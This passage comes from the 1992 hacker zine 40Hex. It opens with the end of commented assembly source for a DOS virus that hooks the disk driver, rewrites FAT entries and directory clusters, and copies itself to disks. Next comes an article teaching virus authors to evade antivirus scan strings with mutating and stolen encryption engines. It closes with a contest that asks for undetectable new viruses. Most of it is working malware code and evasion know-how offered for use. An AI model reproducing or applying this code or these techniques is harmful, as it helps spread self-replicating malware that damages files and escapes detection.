  2042.          lds   si,[bx+12h]                      ; DS:SI points to BPB table
  2043.          mov   ax,[si+6]                        ; Number root directory entries
  2044.          add   ax,15                            ; Round up
  2045.          mov   cl,4
  2046.          shr   ax,cl                            ; Divide by 16 to find sectors
  2047.                                                 ; of root directory
  2048.          mov   di,[si+0bh]                      ; DI = sectors/FAT
  2049.          add   di,di                            ; Double for 2 FATs
  2050.          stc                                    ; Add one for boot record
  2051.          adc   di,ax                            ; Add sector size of root dir
  2052.          push  di                               ; to find starting sector of
  2053.                                                 ; data (and read)
  2054.          cwd                                    ; Clear DX
  2055.          mov   ax,[si+8]                        ; AX = total sectors
  2056.          test  ax,ax                            ; If it is zero, then we have
  2057.          jnz   more                             ; an extended partition(>32MB)
  2058.          mov   ax,[si+15h]                      ; Load DX:AX with total number
  2059.          mov   dx,[si+17h]                      ; of sectors
  2060. more:    xor   cx,cx
  2061.          sub   ax,di                            ; Calculate FAT entry for last
  2062.                                                 ; sector of disk
  2063.          sbb   dx,cx
  2064.          mov   cl,[si+2]                        ; CL = sectors/cluster
  2065.          div   cx                               ; AX = cluster #
  2066.          cmp   cl,2                             ; If there is more than 1
  2067.          sbb   ax,-1                            ; cluster/sector, add one
  2068.          push  ax                               ; Save cluster number
  2069.          call  convert                          ; AX = sector number to read
  2070.                                                 ; DX = offset in sector AX
  2071.                                                 ;      of FAT entry
  2072.                                                 ; DI = mask for EOF marker
  2073.          mov   byte ptr es:[bx+2],4             ; INPUT (read)
  2074.          mov   es:[bx+14h],ax                   ; Starting sector = AX
  2075.          call  driver                           ; One sector only
  2076. again:   lds   si,es:[bx+0eh]                   ; DS:SI = buffer address
  2077.          add   si,dx                            ; Go to FAT entry
  2078.          sub   dh,cl                            ; Calculate a new encryption
  2079.          adc   dx,ax                            ; value
  2080.          mov   word ptr cs:gad+1,dx             ; Change the encryption value
  2081.          cmp   cl,1                             ; If there is 0 cluster/sector
  2082.          je    small_                           ; then jump to "small_"
  2083.          mov   ax,[si]                          ; Load AX with offset of FAT
  2084.                                                 ; entry
  2085.          and   ax,di                            ; Mask it with value from
  2086.                                                 ; "convert" then test to see
  2087.                                                 ; if the sector is fine
  2088.          cmp   ax,0fff7h                        ; 16 bit reserved/bad
  2089.          je    bad
  2090.          cmp   ax,0ff7h                         ; 12 bit reserved/bad
  2091.          je    bad
  2092.          cmp   ax,0ff70h                        ; 12 bit reserved/bad
  2093.          jne   ok
  2094. bad:     pop   ax                               ; Tried to replicate on a bad
  2095.          dec   ax                               ; cluster.  Try again on a
  2096.          push  ax                               ; lower one.
  2097.          call  convert                          ; Find where it is in the FAT
  2098.          jmp   short again                      ; and try once more
  2099. small_:  not   di                               ; Reverse mask bits
  2100.          and   [si],di                          ; Clear other bits
  2101.          pop   ax                               ; AX = cluster number
  2102.          push  ax
  2103.          inc   ax                               ; Need to do 2 consecutive
  2104.          push  ax                               ; bytes
  2105.          mov   dx,0fh
  2106.          test  di,dx
  2107.          jz    here
  2108.          inc   dx                               ; Multiply by 16
  2109.          mul   dx
  2110. here:    or    [si],ax                          ; Set cluster to next
  2111.          pop   ax                               ; Restore cluster of write
  2112.          call  convert                          ; Calculate buffer offset
  2113.          mov   si,es:[bx+0eh]                   ; Go to FAT entry (in buffer)
  2114.          add   si,dx
  2115.          mov   ax,[si]
  2116.          and   ax,di
  2117. ok:      mov   dx,di                            ; DI = mask from "convert"
  2118.          dec   dx
  2119.          and   dx,di                            ; Yerg!
  2120.          not   di
  2121.          and   [si],di
  2122.          or    [si],dx                          ; Set [si] to DI
  2123.  
  2124.          cmp   ax,dx                            ; Did we change the FAT?
  2125.          pop   ax                               ; i.e. Are we already on this
  2126.          pop   di                               ; disk?
  2127.          mov   word ptr cs:pointer+1,ax         ; Our own starting cluster
  2128.          je    _read_                           ; If we didn't infect, then
  2129.                                                 ; leave the routine.  Oh
  2130.                                                 ; welp-o.
  2131.          mov   dx,[si]
  2132.          push  ds
  2133.          push  si
  2134.          call  write                            ; Update the FAT
  2135.          pop   si
  2136.          pop   ds
  2137.          jnz   _read_                           ; Quit if there's an error
  2138.          call  driver
  2139.          cmp   [si],dx
  2140.          jne   _read_
  2141.          dec   ax
  2142.          dec   ax
  2143.          mul   cx                               ; Multiply by sectors/cluster
  2144.                                                 ; to find the sector of the
  2145.                                                 ; write
  2146.          add   ax,di
  2147.          adc   dx,0
  2148.          push  es
  2149.          pop   ds
  2150.          mov   word ptr [bx+12h],2              ; Byte/sector count
  2151.          mov   [bx+14h],ax                      ; Starting sector #
  2152.          test  dx,dx
  2153.          jz    less
  2154.          mov   word ptr [bx+14h],-1             ; Flag extended partition
  2155.          mov   [bx+1ah],ax                      ; Handle the sector of the
  2156.          mov   [bx+1ch],dx                      ; extended partition
  2157. less:    mov   [bx+10h],cs                      ; Transfer address segment
  2158.          mov   [bx+0eh],100h                    ; and the offset (duh)
  2159.          call  write                            ; Zopy ourselves!
  2160.                                                 ; (We want to travel)
  2161. _read_:  std
  2162.          lea   di,[bx+1ch]                      ; Restore device driver header
  2163.          mov   cx,8                             ; from the stack
  2164. load:    pop   ax
  2165.          stosw
  2166.          loop  load
  2167. _read:   call  in_                              ; Call original device handler
  2168.  
  2169.          mov   cx,9
  2170. _inf_sec:
  2171.          mov   di,es:[bx+12h]                   ; Bytes/Sector
  2172.          lds   si,es:[bx+0eh]                   ; DS:SI = pointer to buffer
  2173.          sal   di,cl                            ; Multiply by 512
  2174.                                                 ; DI = byte count
  2175.          xor   cl,cl
  2176.          add   di,si                            ; Go to address in the buffer
  2177.          xor   dl,dl                            ; Flag for an infection in
  2178.                                                 ; function find
  2179.          push  ds
  2180.          push  si
  2181.          call  find                             ; Infect the directory
  2182.          jcxz  no_inf
  2183.          call  write                            ; Write it back to the disk
  2184.          and   es:[bx+4],byte ptr 07fh          ; Clear error bit in status
  2185.                                                 ; word
  2186. no_inf:  pop   si
  2187.          pop   ds
  2188.          inc   dx                               ; Flag for a decryption in
  2189.                                                 ; function find
  2190.          call  find                             ; Return right information to
  2191.                                                 ; calling program
  2192.          jmp   ppp
  2193.  
  2194. ;--------Subroutines
  2195.  
  2196. find:    mov   ax,[si+8]                        ; Check filename extension
  2197.          cmp   ax,"XE"                          ; in directory structure
  2198.          jne   com
  2199.          cmp   [si+10],al
  2200.          je    found
  2201. com:     cmp   ax,"OC"
  2202.          jne   go_on
  2203.          cmp   byte ptr [si+10],"M"
  2204.          jne   go_on
  2205. found:   test  [si+1eh],0ffc0h ; >4MB           ; Check file size high word
  2206.          jnz   go_on                            ; to see if it is too big
  2207.          test  [si+1dh],03ff8h ; <2048B         ; Check file size low word
  2208.          jz    go_on                            ; to see if it is too small
  2209.          test  [si+0bh],byte ptr 1ch            ; Check attribute for subdir,
  2210.          jnz   go_on                            ; volume label or system file
  2211.          test  dl,dl                            ; If none of these, check DX
  2212.          jnz   rest                             ; If not 0, decrypt
  2213. pointer: mov   ax,1234h                         ; mov ax, XX modified elsewhere
  2214.          cmp   ax,[si+1ah]                      ; Check for same starting
  2215.                                                 ; cluster number as us
  2216.          je    go_on                            ; If it is, then try another
  2217.          xchg  ax,[si+1ah]                      ; Otherwise make it point to
  2218.                                                 ; us.
  2219. gad:     xor   ax,1234h                         ; Encrypt their starting
  2220.                                                 ; cluster
  2221.          mov   [si+14h],ax                      ; And put it in area reserved
  2222.                                                 ; by DOS for no purpose
  2223.          loop  go_on                            ; Try another file
  2224. rest:    xor   ax,ax                            ; Disinfect the file
  2225.          xchg  ax,[si+14h]                      ; Get starting cluster
  2226.          xor   ax,word ptr cs:gad+1             ; Decrypt the starting cluster
  2227.          mov   [si+1ah],ax                      ; and put it back
  2228. go_on:   db    2eh,0d1h,6                       ; rol cs:[gad+1], 1
  2229.          dw    offset gad+1                     ; Change encryption and
  2230.          add   si,32                            ; go to next file
  2231.          cmp   di,si                            ; If it is not past the end of
  2232.          jne   find                             ; the buffer, then try again
  2233.          ret                                    ; Otherwise quit
  2234.  
  2235. check:   mov   ah,[bx+1]                        ; ah = unit code (block device
  2236.                                                 ;                 only)
  2237. drive:   cmp   ah,-1                            ; cmp ah, XX can change.
  2238.                                                 ; Compare with the last call
  2239.                                                 ; -1 is just a dummy
  2240.                                                 ; impossible value that will
  2241.                                                 ; force the change to be true
  2242.          mov   byte ptr cs:[drive+2],ah         ; Save this call's drive
  2243.          jne   changed                          ; If not the same as last call
  2244.                                                 ; media has changed
  2245.          push  [bx+0eh]                         ; If it is the same physical
  2246.                                                 ; drive, see if floppy has
  2247.                                                 ; been changed
  2248.          mov   byte ptr [bx+2],1                ; Tell original driver to do a
  2249.          call  in_                              ; media check (block only)
  2250.          cmp   byte ptr [bx+0eh],1              ; Returns 1 in [bx+0eh] if
  2251.          pop   [bx+0eh]                         ; media has not been changed
  2252.          mov   [bx+2],al                        ; Restore command code
  2253. changed: ret                                    ; CF,ZF set if media has not
  2254.                                                 ; been changed, not set if
  2255.                                                 ; has been changed or we don't
  2256.                                                 ; know
  2257. write:   cmp   byte ptr es:[bx+2],8             ; If we want OUTPUT, go to
  2258.          jae   in_                              ; original device handler
  2259.                                                 ; and return to caller
  2260.          mov   byte ptr es:[bx+2],4             ; Otherwise, request INPUT
  2261.          mov   si,70h
  2262.          mov   ds,si                            ; DS = our segment
  2263. modify:  mov   si,1234h                         ; Address is changed elsewhere
  2264.          push  [si]
  2265.          push  [si+2]
  2266.          mov   [si],offset i13pr
  2267.          mov   [si+2],cs
  2268.          call  in_                              ; Call original device handler
  2269.          pop   [si+2]
  2270.          pop   [si]
  2271.          ret
  2272.  
  2273. driver:  mov   word ptr es:[bx+12h],1           ; One sector
  2274. in_:                                            ; in_ first calls the strategy
  2275.                                                 ; of the original device
  2276.                                                 ; driver and then calls the
  2277.                                                 ; interrupt handler
  2278.          db    09ah                             ; CALL FAR PTR
  2279. str_block:
  2280.          dw    ?,70h                            ; address
  2281.          db    09ah                             ; CALL FAR PTR
  2282. int_block:
  2283.          dw    ?,70h                            ; address
  2284.          test  es:[bx+4],byte ptr 80h           ; Was there an error?
  2285.          ret
  2286.  
  2287. convert: cmp   ax,0ff0h                         ; 0FFF0h if 12 bit FAT
  2288.          jae   fat_16                           ; 0FF0h = reserved cluster
  2289.          mov   si,3                             ; 12 bit FAT
  2290.          xor   word ptr cs:[si+gad-1],si        ; Change the encryption value
  2291.          mul   si                               ; Multiply by 3 and
  2292.          shr   ax,1                             ; divide by 2
  2293.          mov   di,0fffh                         ; Mark it EOF (low 12 bits)
  2294.          jnc   cont                             ; if it is even, continue
  2295.          mov   di,0fff0h                        ; otherwise, mark it EOF (high
  2296.          jmp   short cont                       ; 12 bits) and then continue
  2297. fat_16:  mov   si,2                             ; 16 bit FAT
  2298.          mul   si                               ; Double cluster #
  2299.          mov   di,0ffffh                        ; Mark it as end of file
  2300. cont:    mov   si,512
  2301.          div   si                               ; AX = sector number
  2302.                                                 ; (relative to start of FAT)
  2303.                                                 ; DX = offset in sector AX
  2304. header:  inc   ax                               ; Increment AX to account for
  2305.          ret                                    ; boot record
  2306.  
  2307. counter: dw    0
  2308.  
  2309.          dw    842h                             ; Attribute
  2310.                                                 ;  Block device
  2311.                                                 ;  DOS 3 OPEN/CLOSE removable
  2312.                                                 ;        media calls supported
  2313.                                                 ;  Generic IOCTL call supported
  2314.                                                 ; Supports 32 bit sectors
  2315.          dw    offset main                      ; Strategy routine
  2316.          dw    offset rts                       ; Interrupt routine (rtf)
  2317.          db    7fh                              ; Number of subunits supported
  2318.                                                 ; by this driver.  Wow, lookit
  2319.                                                 ; it -- it's so large and juicy
  2320.  
  2321. ; Parameter block format:
  2322. ; 0  WORD Segment of environment
  2323. ; 2 DWORD pointer to command line
  2324. ; 6 DWORD pointer to 1st default FCB
  2325. ;10 DWORD pointer to 2nd default FCB
  2326. param:   dw    0,80h,?,5ch,?,6ch,?
  2327.  
  2328. bpb_buf: db    32 dup(?)
  2329. f_name:  db    80 dup(?)
  2330.  
  2331. ;--------The End.
  2332. dir_2   ends
  2333.         end     start
  2334.  
  2335. MsDos
  2336. -------------------------------------------------------------------------------
  2337. 40Hex Number 6 Volume 2 Issue 2                                       File 00B
  2338.  
  2339.                         ------------------------------
  2340.                          SCAN STRINGS, HOW THEY WORK,
  2341.                              AND HOW TO AVOID THEM
  2342.                         ------------------------------
  2343.                                  By Dark Angel
  2344.                         ------------------------------
  2345.   
  2346.   Scan strings  are the  scourge of  the virus author and the friend of anti-
  2347.   virus wanna-bes.   The  virus author  must find encryption techniques which
  2348.   can successfully  evade easy detection.  This article will show you several
  2349.   such techniques.
  2350.   
  2351.   Scan strings,  as you  are well  aware, are  a collection of bytes which an
  2352.   anti-viral product  uses to  identify a virus.  The important thing to keep
  2353.   in mind  is that  these scan  strings represent  actual code  and can NEVER
  2354.   contain code  which could occur in a "normal" program.  The trick is to use
  2355.   this to your advantage.
  2356.   
  2357.   When a  scanner checks  a file for a virus, it searches for the scan string
  2358.   which could  be located  ANYWHERE IN  THE FILE.   The  scanner doesn't care
  2359.   where it  is.   Thus, a  file which  consists solely of the scan string and
  2360.   nothing else  would be  detected as  infected by  a virus.   A  scanner  is
  2361.   basically  an   overblown  "hex  searcher"  looking  for  1000  signatures.
  2362.   Interesting, but  there's not  much you  can do  to exploit this.  The only
  2363.   thing you  can do  is to  write code so generic that it could be located in
  2364.   any program  (by chance).   Try  creating a  file with  the following debug
  2365.   script and  scanning it.   This  demonstrates the fact that the scan string
  2366.   may be located at any position in the file.
  2367.   
  2368.   ---------------------------------------------------------------------------
  2369.   
  2370.   n marauder.com
  2371.   e 0100  E8 00 00 5E 81 EE 0E 01 E8 05 00 E9
  2372.   
  2373.   rcx
  2374.   000C
  2375.   w
  2376.   q
  2377.   
  2378.   ---------------------------------------------------------------------------
  2379.   
  2380.   Although scanners  normally search  for decryption/encryption  routines, in
  2381.   Marauder's case,  SCAN looks  for the  "setup" portion  of the  code,  i.e.
  2382.   setting up  BP (to the "delta offset"), calling the decryption routine, and
  2383.   finally jumping to program code.
  2384.   
  2385.   What you  CAN do  is to  either minimise  the scannable code or to have the
  2386.   code constantly  mutate into  something different.  The reasons are readily
  2387.   apparent.
  2388.   
  2389.   The simplest  technique is  having multiple  encryption engines.   A  virus
  2390.   utilising this  technique has  a database  of encryption/decryption engines
  2391.   and uses  a random  one each  time it infects.  For example, there could be
  2392.   various forms  of XOR  encryption or  perhaps another  form of mathematical
  2393.   encryption.   The trick  is to  simply replace  the code for the encryption
  2394.   routine each time with the new encryption routine.
  2395.   
  2396.   Mark Washburn  used this  in his  V2PX series of virii.  In it, he used six
  2397.   different  encryption/decryption   algorithms,  and   some  mutations   are
  2398.   impossible to detect with a mere scan string.  More on those later.
  2399.   
  2400.   Recently, there  has been  talk of  the so-called  MTE, or mutating engine,
  2401.   from Bulgaria  (where else?).   It  utilises the multiple encryption engine
  2402.   technique.   Pogue Mahone  used the  MTE and it took McAfee several days to
  2403.   find a  scan string.   Vesselin  Bontchev, the McAfee-wanna-be of Bulgaria,
  2404.   marvelled the engineering of this engine.  It is distributed as an OBJ file
  2405.   designed to  be able to be linked into any virus.  Supposedly, SCANV89 will
  2406.   be able to detect any virus using the encryption engine, so it is worthless
  2407.   except for  those who  have an  academic interest  in such matters (such as
  2408.   virus authors).
  2409.   
  2410.   However,  there   is  a  serious  limitation  to  the  multiple  encryption
  2411.   technique, namely  that scan  strings may  still be  found.   However, scan
  2412.   strings must  be isolated  for each  different encryption  mechanism.    An
  2413.   additional  benefit   is  the   possibility  that  the  antivirus  software
  2414.   developers will  miss some  of the  encryption mechanisms  so not  all  the
  2415.   strains of the virus will be caught by the scanner.
  2416.   
  2417.   Now we  get to  a much better (and sort of obvious) method: minimising scan
  2418.   code length.   There are several viable techniques which may be used, but I
  2419.   shall discuss but three of them.
  2420.   
  2421.   The one  mentioned before which Mark Washburn used in V2P6 was interesting.
  2422.   He first  filled the  space to  be filled  in with the encryption mechanism
  2423.   with dummy  one byte  op-codes such  as CLC, STC, etc.  As you can see, the
  2424.   flag manipulation  op-codes were  exploited.   Next, he randomly placed the
  2425.   parts of  his encryption  mechanism in  parts of this buffer, i.e. the gaps
  2426.   between the  "real" instructions were filled in with random dummy op-codes.
  2427.   In this manner, no generic scan string could be located for this encryption
  2428.   mechanism of  this virus.   However, the disadvantage of this method is the
  2429.   sheer size of the code necessary to perform the encryption.
  2430.   
  2431.   A second  method is  much simpler than this and possibly just as effective.
  2432.   To minimise scan code length, all you have to do is change certain bytes at
  2433.   various intervals.   The  best way  to do  this can  be explained  with the
  2434.   following code fragment:
  2435.   
  2436.     mov si, 1234h                     ; Starting location of encryption
  2437.     mov cx, 1234h                     ; Virus size / 2 + variable number
  2438.   loop_thing:
  2439.     xor word ptr cs:[si], 1234h       ; Decrypt the value
  2440.     add si, 2
  2441.     loop loop_thing
  2442.   
  2443.   In this code fragment, all the values which can be changed are set to 1234h
  2444.   for the  sake of  clarity.   Upon infection,  all you  have to do is to set
  2445.   these variable  values to  whatever is  appropriate  for  the  file.    For
  2446.   example, mov  bx, 1234h  would have  to be  changed to  have the encryption
  2447.   start at the wherever the virus would be loaded into memory (huh?).  Ponder
  2448.   this for  a few  moments and  all shall  become clear.   To  substitute new
  2449.   values into the code, all you have to do is something akin to:
  2450.   
  2451.     mov [bp+scratch+1], cx
  2452.   
  2453.   Where scratch is an instruction.  The exact value to add to scratch depends
  2454.   on the  coding of  the op-code.   Some  op-codes take their argument as the
  2455.   second byte,  others take  the  third.    Regardless,  it  will  take  some
  2456.   tinkering before it is perfect.  In the above case, the "permanent" code is
  2457.   limited to  under five or six bytes.  Additionally, these five or six bytes
  2458.   could theoretically  occur in  ANY PROGRAM  WHATSOEVER, so  it would not be
  2459.   prudent for  scanners to search for these strings.  However, scanners often
  2460.   use scan  strings with wild-card-ish scan string characters, so it is still
  2461.   possible for a scan string to be found.
  2462.   
  2463.   The important  thing to  keep in  mind when using this method is that it is
  2464.   best for  the virus  to use separate encryption and decryption engines.  In
  2465.   this manner, shorter decryption routines may be found and thus shorter scan
  2466.   strings will  be needed.   In  any  case,  using  separate  encryption  and
  2467.   decryption engines increases the size of the code by at most 50 bytes.
  2468.   
  2469.   The last method detailed is theft of decryption engines.  Several shareware
  2470.   products utilise  decryption engines  in their  programs to  prevent simple
  2471.   "cracks" of  their products.   This  is, of  course, not a deterrent to any
  2472.   programmer worth  his salt,  but it  is useful  for virus  authors.  If you
  2473.   combine the  method above  with  this  technique,  the  scan  string  would
  2474.   identify the  product as  being infected with the virus, which is a) bad PR
  2475.   for the company and b) unsuitable for use as a scan string.  This technique
  2476.   requires virtually  no effort,  as the decryption engine is already written
  2477.   for you by some unsuspecting PD programmer.
  2478.   
  2479.   All the  methods described  are viable  scan  string  avoidance  techniques
  2480.   suitable for  use in  any virus.   After  a few practice tries, scan string
  2481.   avoidance should  become  second  nature  and  will  help  tremendously  in
  2482.   prolonging the effective life of your virus in the wild.
  2483. 40Hex Number 6 Volume 2 Issue 2                                       File 00C
  2484.  
  2485.                         ------------------------
  2486.                              Virus Contest!
  2487.                            'The Spammies(tm)'
  2488.                         ------------------------
  2489.                         Deadline: July 4th, 1992
  2490.  
  2491.  
  2492.    This is the first PHALCON/SKISM virus contest.  As a matter of fact, this
  2493. is the first contest of its kind.  We believe that it will motivate you to
  2494. produce more original code, rather than more hacks.  Winners may have already
  2495. won $10,000,000, as well as the prestige of winning the first ever 'Spammie'
  2496. awards.
  2497.  
  2498.  
  2499. Rules and Regulations:
  2500. 1)  All submissions must be original source code. (no hacks)
  2501. 2)  Only one submission is allowed per programmer, plus one group project.
  2502. 3)  All viruses must be recieved by us before July 4th, 1992.
  2503. 4)  Viruses must be accompanied by a complete entry form. (see below)
  2504. 5)  The original, compilable, commented source MUST be included, along with an
  2505.     installer program, or a dropper, in the case of boot block viruses.
  2506. 6)  Entries must include a location where the author may be contacted, such as
  2507.     an email address or a BBS.
  2508. 7)  Personnel or persons related to personnel of PHALCON/SKISM are not
  2509.     eligable.
  2510. 8)  The source must compile without error under Tasm or Masm (please specify
  2511.     what assembler and version you used, along with the necessary command line
  2512.     switches).  If we cannot compile your virus, it will be disqualified.
  2513. 9)  All entries recieve a free subscription to 40hex.  (hehehehe)
  2514. 10) The entry must be uploaded privately to the sysop, stating that it is a
  2515.     contest entry.
  2516. 11) The viruses must not be detectable by the current version (as of July 4th)
  2517.     of any known virus scanner.
  2518. 12) Viruses will be judged by our 'panel of experts' in three catagories.
  2519.     6.1)  Stealth
  2520.     6.2)  Size
  2521.     6.3)  Reproductivity
  2522.     6.4)  Performance
  2523.         For example, Red Cross is an example of a 'high performance' virus.  It
  2524.         was entertaining and well done.
  2525.  
  2526. *** Entry Form
  2527.  
  2528. Handle ________________________
  2529. Group Afiliation ______________
  2530. Virus Name ____________________
  2531. Size ____bytes (if you need more spaces, go away)
  2532. Type               ___ File Infector ___ Boot block
  2533. Infection method   ___ Direct Action ___ Memory Resident   ___ Directory chain
  2534.                    ___ Other (please describe it in detail)
  2535. Encryption routine ___ None (bah)    ___ Xor loop
  2536.                    ___ Other (please describe it in detail)
  2537.  
  2538. Describe what makes your infection routine unique.
  2539. _______________________________________________________________________________
  2540. _______________________________________________________________________________
  2541. Describe what makes your encryption routine unique.
  2542. _______________________________________________________________________________
  2543. _______________________________________________________________________________
  2544. Describe what means your virus uses, other than encryption, to keep itself
  2545. hidden.
  2546. _______________________________________________________________________________
  2547. _______________________________________________________________________________
  2548. What is the largest possible scan string for this virus?  __bytes
  2549.  
  2550. What else sets this virus apart from other viruses?
  2551. _______________________________________________________________________________
  2552. _______________________________________________________________________________
  2553. _______________________________________________________________________________
  2554.